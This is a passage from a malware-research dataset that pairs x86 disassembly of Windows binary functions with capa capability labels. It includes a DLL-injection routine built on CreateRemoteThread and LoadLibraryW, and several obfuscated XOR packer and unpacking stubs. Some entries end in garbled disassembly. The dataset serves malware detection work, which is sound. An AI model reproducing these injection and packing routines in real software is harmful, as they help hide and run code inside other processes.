joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408b3a
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x413dc0
call fcn.00411b70
sub esp, 0x14
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
push 0
lea ecx, [ebp - 0x20]
mov bl, 1
mov byte [ebp - 0x20], al
call fcn.004035bd
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x3fc
mov ecx, esi
call fcn.00408902
mov ecx, esi
call fcn.00408415
mov esi, eax
test esi, esi
je 0x408bc8
mov edx, dword [ebp - 0x1c]
mov eax, 0x4155b4
test edx, edx
mov ecx, eax
je 0x408b8e
mov ecx, edx
mov ecx, dword [ecx]
cmp ecx, dword [0x4157ab]
jne 0x408bbe
test edx, edx
je 0x408b9e
mov eax, edx
mov ecx, dword [ebp - 0x18]
push esi
add ecx, 0xfffffffc
push 1
add eax, 4
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ebx, eax
add esp, 0x10
dec ebx
neg ebx
sbb bl, bl
inc bl
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
jmp 0x408bca
xor bl, bl
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x20]
call fcn.004035bd
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x408be8
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x413dd4
call fcn.00411b70
sub esp, 0x14
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
mov byte [ebp - 0x20], al
call fcn.004035bd
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
push 0x401
mov dword [ebp - 4], ebx
call fcn.00408902
mov ecx, esi
call fcn.00408828
mov esi, eax
cmp esi, ebx
je 0x408c56
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jne 0x408c36
mov eax, 0x4155b4
push esi
push 1
push dword [ebp - 0x18]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ebx, eax
push esi
dec ebx
neg ebx
sbb bl, bl
inc bl
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x20]
call fcn.004035bd
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40a42d
Capabilities:
Delete file

Disassembly:
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll__waccess]
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x40a480
mov eax, dword [esi + 0x34]
test eax, eax
jne 0x40a44a
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push 0
push eax
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x40a480
xor edi, edi
mov eax, dword [esi + 0x34]
test eax, eax
jne 0x40a463
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push eax
call dword [sym.imp.MSVCRT.dll__wremove]
test eax, eax
pop ecx
je 0x40a480
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x3e8
jl 0x40a457
cmp dword [esi + 0x48], 0
je 0x40a4c8
mov eax, dword [esi + 0x44]
test eax, eax
jne 0x40a492
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push 0
push eax
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x40a4c8
xor edi, edi
mov eax, dword [esi + 0x44]
test eax, eax
jne 0x40a4ab
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push eax
call dword [sym.imp.MSVCRT.dll__wremove]
test eax, eax
pop ecx
je 0x40a4c8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x3e8
jl 0x40a49f
pop edi
pop esi
pop ebx
ret
Function at 0x410e8c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00411f30
push esi
mov edx, 0x1ff
push edi
xor esi, esi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x100e]
mov word [ebp - 0x1010], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x80e]
mov word [ebp - 0x810], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x800
lea eax, [ebp - 0x1010]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x810]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea edi, [ebp - 0xe]
mov word [ebp - 0x10], si
push 0xe
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push esi
push eax
call sub.MSVCRT.dll_memset
push esi
push esi
lea eax, [ebp - 0x10]
push esi
push eax
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.MSVCRT.dll__wsplitpath]
lea eax, [ebp - 0x10]
push 0x41d13c
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
lea eax, [ebp - 0x1010]
push esi
push eax
call fcn.00412ff3
add esp, 0x30
test al, al
jne 0x410f63
lea eax, [ebp - 0x810]
push esi
push eax
call fcn.00412ff3
pop ecx
test al, al
pop ecx
jne 0x410f63
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.00412ff3
pop ecx
test al, al
pop ecx
jne 0x410f63
inc al
jmp 0x410f65
xor al, al
pop edi
pop esi
leave
ret
Function at 0x412b86
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00411f30
push ebx
push edi
call fcn.00412a37
mov edx, dword [0x41ee3c]
mov ebx, eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x1008]
mov dword [ebp - 0x100c], edx
rep stosd dword es:[edi], eax
mov ecx, 0x1ff
lea edi, [ebp - 0x808]
mov dword [ebp - 0x80c], edx
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
rep stosd dword es:[edi], eax
mov eax, 0x400
lea ecx, [ebp - 0x80c]
push eax
push ecx
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0x100c]
push eax
push 0x41ebd0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push dword [ebp + 8]
push ebx
push dword [ebp - 4]
call fcn.00412b16
add esp, 0xc
mov al, 1
pop edi
pop ebx
leave
ret

Function at 0x412c14
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov eax, 0x41470c
call fcn.00411b70
sub esp, 0x20
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push dword [ebp + 8]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
push esi
push 0x42a
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, esi
mov dword [ebp + 8], eax
jne 0x412c59
lea eax, [ebp - 0x1c]
push 0x41a210
push eax
mov dword [ebp - 0x1c], esi
call sub.MSVCRT.dll__CxxThrowException
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push 4
push 0x1000
lea edi, [eax + eax]
push edi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
cmp ebx, esi
mov dword [ebp - 0x14], ebx
jne 0x412c92
lea eax, [ebp - 0x20]
push 0x41a210
push eax
mov dword [ebp - 0x20], esi
call sub.MSVCRT.dll__CxxThrowException
push esi
push edi
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x412cb6
lea eax, [ebp - 0x24]
push 0x41a210
push eax
mov dword [ebp - 0x24], esi
call sub.MSVCRT.dll__CxxThrowException
push str.LoadLibraryW
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
jne 0x412ce2
lea eax, [ebp - 0x28]
push 0x41a210
push eax
mov dword [ebp - 0x28], esi
call sub.MSVCRT.dll__CxxThrowException
push esi
push esi
push ebx
push eax
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
jne 0x412d33
lea eax, [ebp - 0x2c]
push 0x41a210
push eax
mov dword [ebp - 0x2c], esi
call sub.MSVCRT.dll__CxxThrowException
xor esi, esi
cmp dword [ebp - 0x14], esi
je 0x412d1f
push 0x8000
push esi
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp + 8], esi
je 0x412d2d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x412d43
ret
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 8
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x420ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x420ee4
pop dword [ebp - 0x48]
mov eax, 0x420ee4
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xcc68bbfc
sub dword [ebp - 0x58], 0x7e1676b1
mov dword [ebp - 0x54], 0xa8bf42df
sub dword [ebp - 0x54], 0x768bf69a
mov dword [ebp - 0x50], 0x6476c66b
add dword [ebp - 0x50], 0xe7d57dc3
mov dword [ebp - 0x4c], 0x46c5e10d
sub dword [ebp - 0x4c], 0x46c5e10d
lea eax, [ebp - 0x58]
push eax
mov eax, 0x6ce6f94e
add eax, 0x935b3726
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xdce3ecf2
sub dword [ebp - 0x58], 0x6871839c
mov dword [ebp - 0x54], 0xa0e0a6d9
sub dword [ebp - 0x54], 0x5f744564
mov dword [ebp - 0x50], 0xbe5b188
sub dword [ebp - 0x50], 0xa876451c
mov dword [ebp - 0x4c], 0x11f9a1b9
sub dword [ebp - 0x4c], 0x11f9a1b9
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3c418
push 0
call eax
mov ecx, 0xa3158ed3
add ecx, 0x5ceab330
xor edx, edx
add edx, eax
mov edi, 0x434400
add edi, dword [ebp - 0x48]
mov esi, 0xf0f6b33b
sub esi, 0x671d092f
add dword [ebp - 0xc], ebx
mov ebx, dword [edi]
xor dword [ebp - 0x10], edx
sub ebx, esi
add dword [ebp - 0x44], ecx
mov dword [edx], ebx
mov dword [ebp - 0x28], 0xdec8a201
add edx, 4
add edi, 4
loop 0x420ff8
add eax, 0x47caf18b
add eax, 0xb8360954
mov ebx, eax
add eax, 0xd995d2de
add eax, 0x266a2d27
mov ecx, 0x362c8eab
add ecx, 0xca137155
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x406b63
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SOFTWAREMicrosoftPowerShell
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x406ba5
mov edi, dword [ebp + 8]
mov esi, str.powershell.exe
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jmp 0x406cbe
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x324]
push eax
mov edi, 0x104
push ebx
jmp 0x406bf2
xor eax, eax
mov cl, byte [ebp + eax - 0x324]
mov byte [ebp + eax - 0x428], cl
inc eax
cmp cl, bl
jne 0x406bc7
inc dword [ebp - 0xc]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 0xc]
push dword [ebp - 4]
mov dword [ebp - 8], edi
call esi
test eax, eax
je 0x406bc5
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 7
pop ecx
mov esi, str.SOFTWAREMicrosoftPowerShell_
lea edi, [ebp - 0x11c]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x428]
movsw word es:[edi], word [esi]
push eax
lea eax, [ebp - 0x11c]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040636f
lea eax, [ebp - 0x11c]
push str.ShellIdsMicrosoft.PowerShell
push eax
call fcn.0040636f
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x11c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406b92
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x324]
push eax
push ebx
push ebx
push str.Path
push dword [ebp - 4]
mov dword [ebp - 0x10], 0x208
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
jne 0x406b92
mov esi, dword [ebp + 8]
push 0x22
pop eax
mov word [esi], ax
lea eax, [ebp - 0x324]
push eax
push esi
call fcn.0040636f
push 0x40a330
push esi
call fcn.0040636f
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1006da0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x1006db3
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x1006daf
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x1006de0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x1006e1f
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x1006e15
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x1006e21
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x1006e05
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0xde20d0
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov ebp, dword [esp + 0x28]
test ebp, ebp
je 0xde2246
mov ebx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
movzx edi, cx
shr ecx, 0x10
test ebx, ebx
je 0xde223f
mov edx, 0x5e6ea9af
mov eax, ebx
mul edx
shr edx, 0xb
imul eax, edx, 0x15b0
mov edx, ebx
sub edx, eax
jmp 0xde215b
add ebp, dword [esp + 8]
mov eax, edi
mov esi, 0x80078071
mul esi
mov ebx, edx
shr ebx, 0xf
mov eax, ecx
mul esi
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub ecx, eax
mov ebx, dword [esp + 0xc]
sub ebx, dword [esp]
mov edx, 0x15b0
je 0xde223f
xor eax, eax
cmp edx, 8
mov dword [esp + 0xc], ebx
jb 0xde21ca
mov eax, edx
and eax, 0x1ff8
xor esi, esi
nop
mov ebx, edx
mov edx, esi
movzx esi, byte [ebp + esi]
add esi, edi
add ecx, esi
movzx edi, byte [ebp + edx + 1]
add edi, esi
add ecx, edi
movzx esi, byte [ebp + edx + 2]
add esi, edi
add ecx, esi
movzx edi, byte [ebp + edx + 3]
add edi, esi
add ecx, edi
movzx esi, byte [ebp + edx + 4]
add esi, edi
add ecx, esi
movzx edi, byte [ebp + edx + 5]
add edi, esi
add ecx, edi
movzx esi, byte [ebp + edx + 6]
add esi, edi
add ecx, esi
movzx edi, byte [ebp + edx + 7]
add edi, esi
add ecx, edi
lea esi, [edx + 8]
add edx, 0xf
cmp edx, ebx
mov edx, ebx
jb 0xde2170
add ebp, esi
mov esi, edx
sub esi, eax
mov dword [esp], edx
jbe 0xde2124
mov dword [esp + 8], esi
mov esi, eax
not esi
add esi, edx
mov dword [esp + 4], esi
mov esi, edx
mov ebx, ebp
and esi, 3
je 0xde21fc
nop
nop
movzx edx, byte [ebx]
add edi, edx
add ecx, edi
inc ebx
inc eax
dec esi
jne 0xde21f0
cmp dword [esp + 4], 3
jb 0xde2120
mov edx, dword [esp]
sub edx, eax
xor eax, eax
nop
nop
movzx esi, byte [ebx + eax]
add esi, edi
add ecx, esi
movzx edi, byte [ebx + eax + 1]
add edi, esi
add ecx, edi
movzx esi, byte [ebx + eax + 2]
add esi, edi
add ecx, esi
movzx edi, byte [ebx + eax + 3]
add edi, esi
add ecx, edi
add eax, 4
cmp edx, eax
jne 0xde2210
jmp 0xde2120
shl ecx, 0x10
or ecx, edi
jmp 0xde224b
mov ecx, 1
mov eax, ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0xde2260
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov ebx, dword [esp + 0x14]
not ebx
cmp edx, 4
jb 0xde22d2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebx
xor bl, byte [ecx]
shr eax, 8
movzx esi, bl
xor eax, dword [esi*4 + 0xe1c928]
mov ebx, eax
xor al, byte [ecx + 1]
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0xe1c928]
mov eax, ebx
xor bl, byte [ecx + 2]
shr eax, 8
movzx esi, bl
xor eax, dword [esi*4 + 0xe1c928]
mov ebx, eax
xor al, byte [ecx + 3]
shr ebx, 8
movzx eax, al
xor ebx, dword [eax*4 + 0xe1c928]
add ecx, 4
add edx, 0xfffffffc
cmp edx, 3
ja 0xde2280
test edx, edx
je 0xde22e4
test dl, 1
jne 0xde22e8
mov esi, edx
cmp edx, 1
jne 0xde230f
jmp 0xde2362
mov eax, ebx
jmp 0xde2362
mov eax, ebx
shr eax, 8
movzx esi, byte [ecx]
mov edi, ebx
and edi, esi
add ebx, esi
add edi, edi
sub ebx, edi
movzx esi, bl
xor eax, dword [esi*4 + 0xe1c928]
inc ecx
lea esi, [edx - 1]
mov ebx, eax
cmp edx, 1
je 0xde2362
xor edx, edx
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
shr ebx, 8
movzx edi, byte [ecx + edx]
mov ebp, eax
and ebp, edi
add eax, edi
add ebp, ebp
sub eax, ebp
movzx eax, al
xor ebx, dword [eax*4 + 0xe1c928]
mov eax, ebx
shr eax, 8
movzx edi, byte [ecx + edx + 1]
mov ebp, ebx
and ebp, edi
add ebx, edi
add ebp, ebp
sub ebx, ebp
movzx edi, bl
xor eax, dword [edi*4 + 0xe1c928]
add edx, 2
cmp esi, edx
jne 0xde2320
not eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0xde8230
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov dword [esp], ecx
mov edi, dword [esp + 0x220]
movzx ecx, word [edi]
test cx, cx
je 0xde835a
lea eax, [edi + 2]
xor ebx, ebx
jmp 0xde826d
add ebx, esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0xde8291
movzx ebp, cx
xor ecx, ecx
cmp ebp, 0x800
setb dl
mov esi, 1
cmp ebp, 0x80
jb 0xde8260
mov cl, dl
xor ecx, 3
mov esi, ecx
jmp 0xde8260
lea esi, [ebx + 1]
push esi
call fcn.00e14fa0
add esp, 4
mov ebp, eax
test ebx, ebx
jle 0xde8368
add ebx, ebp
add esi, ebp
mov eax, ebp
mov dword [esp + 8], esi
jmp 0xde82d8
mov byte [eax], dl
mov esi, 1
add edi, 2
add eax, esi
cmp eax, ebx
mov esi, dword [esp + 8]
jae 0xde836a
movzx edx, word [edi]
test dx, dx
je 0xde836a
cmp dx, 0x7f
jbe 0xde82c0
mov ecx, eax
not ecx
add ecx, esi
movzx esi, dx
cmp ecx, 2
jb 0xde8320
cmp esi, 0x7ff
ja 0xde8320
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov esi, 2
jmp 0xde82c7
mov dword [esp + 4], esi
xor esi, esi
cmp ecx, 3
jb 0xde82c7
mov esi, dword [esp + 4]
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov esi, 3
jmp 0xde82c7
push 1
call fcn.00e14fa0
add esp, 4
mov ebp, eax
jmp 0xde836a
mov eax, ebp
mov edi, dword [esp + 0x228]
mov edx, dword [esp + 0x224]
mov byte [eax], 0
xor ecx, ecx
jmp 0xde8387
mov ebx, eax
mov byte [esp + ecx + 0xc], bl
inc ecx
movzx eax, byte [ebp + ecx]
mov bl, 0x2f
cmp eax, 0x5c
je 0xde8382
test eax, eax
jne 0xde8380
mov byte [esp + ecx + 0xc], 0
lea eax, [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push edi
push edx
push eax
push ecx
call fcn.00de4510
add esp, 0x28
test eax, eax
setne al
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0xde8c10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x110
cmp dword [ecx + 0x20], 0
je 0xde8c61
mov esi, ecx
movzx eax, byte [ecx]
mov byte [esp + 0xf], 0
test eax, eax
je 0xde8c68
cmp al, 0x64
jb 0xde8c77
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*8]
movzx edx, cx
shr edx, 0xc
imul ecx, edx, 0x64
sub al, cl
movzx eax, al
movzx eax, word [eax + eax + 0xe1d7f8]
mov word [esp + 0xd], ax
mov ecx, 1
mov eax, edx
jmp 0xde8c80
mov bl, 1
jmp 0xde92e5
lea eax, [esp + 0xe]
mov dword [esp + 0x3c], eax
mov byte [esp + 0xe], 0x30
jmp 0xde8cac
mov ecx, 3
cmp al, 9
ja 0xde8c97
movzx eax, byte [eax + 0xe1e510]
lea edx, [esp + ecx]
add edx, 0xb
mov dword [esp + 0x3c], edx
mov byte [esp + ecx + 0xb], al
jmp 0xde8cac
movzx eax, word [eax + eax + 0xe1d7f8]
lea ecx, [esp + 0xd]
mov dword [esp + 0x3c], ecx
mov word [esp + 0xd], ax
lea eax, [esi + 0x10]
push eax
call fcn.00de5940
add esp, 4
mov edi, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0xe0], eax
lea ebx, [esp + 0xeb]
push ebx
call fcn.00e13550
add esp, 4
mov dword [esp + 0xe4], edi
lea eax, [edi + 0x800]
push eax
call fcn.00e14fa0
add esp, 4
mov edi, eax
mov dword [esp + 0x44], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x40], 0xe7e316e0
mov byte [esp + 0x44], 0x94
mov dword [esp + 0x10], 0
adc byte [eax], al
add byte [eax], al
add byte [ebx - 0x7cefdbbc], cl
clc
sbb esi, dword [edi + 0x4a]
Function at 0xdf42b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x50
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov ebx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0xdf42d0
mov esi, dword [ecx + 4]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0xdf42f0
sar ebx, 1
sar eax, 1
lea ecx, [ebx + eax]
add ecx, 2
test ecx, ecx
jns 0xdf4310
mov eax, 0xffffffff
jmp 0xdf4317
add eax, ebx
add eax, eax
add eax, 4
push eax
call fcn.00e14fa0
add esp, 4
mov edi, eax
movzx ecx, word [esi]
test cx, cx
je 0xdf4341
add esi, 2
mov eax, edi
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0xdf4330
mov word [eax], 0x5c
add eax, 2
mov edx, dword [ebp + 0x10]
movzx ecx, word [edx]
test cx, cx
je 0xdf4371
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0xdf4360
mov word [eax], 0
lea eax, [esp + 0x14]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00e19af0
add esp, 0x14
not eax
shr eax, 0x1f
mov eax, dword [eax*4 + 0xe21120]
mov ecx, 0x4c4a9c1e
xor ecx, dword [0xe21128]
add eax, ecx
inc eax
jmp eax